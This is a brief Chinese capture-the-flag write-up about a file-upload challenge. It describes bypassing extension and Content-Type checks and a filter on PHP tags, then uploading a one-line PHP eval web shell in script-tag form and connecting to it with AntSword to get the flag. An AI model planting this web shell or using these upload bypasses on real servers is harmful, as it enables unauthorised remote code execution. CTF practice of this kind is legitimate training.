開局上傳文件
上傳muma.php
上傳.htaccess文件也被打回?
再次求助互聯網,才發現這提示給的多么明顯,上傳.htaccess文件是檢查文件類型(Contnet-Type),上傳muma.php是檢查后綴里頭有沒有ph?,檢查文件類型那就去抓包修改文件類型
上傳成功?
接下來上傳muma.jpg,還是不行
這下學聰明了,它從標志看出來我這是php,php的標志不就是代碼中的<?php? ?>嗎
那就換個馬:
<script language="php">eval ($_POST['shell']); </script>
用蟻劍連接,拿到最終flag?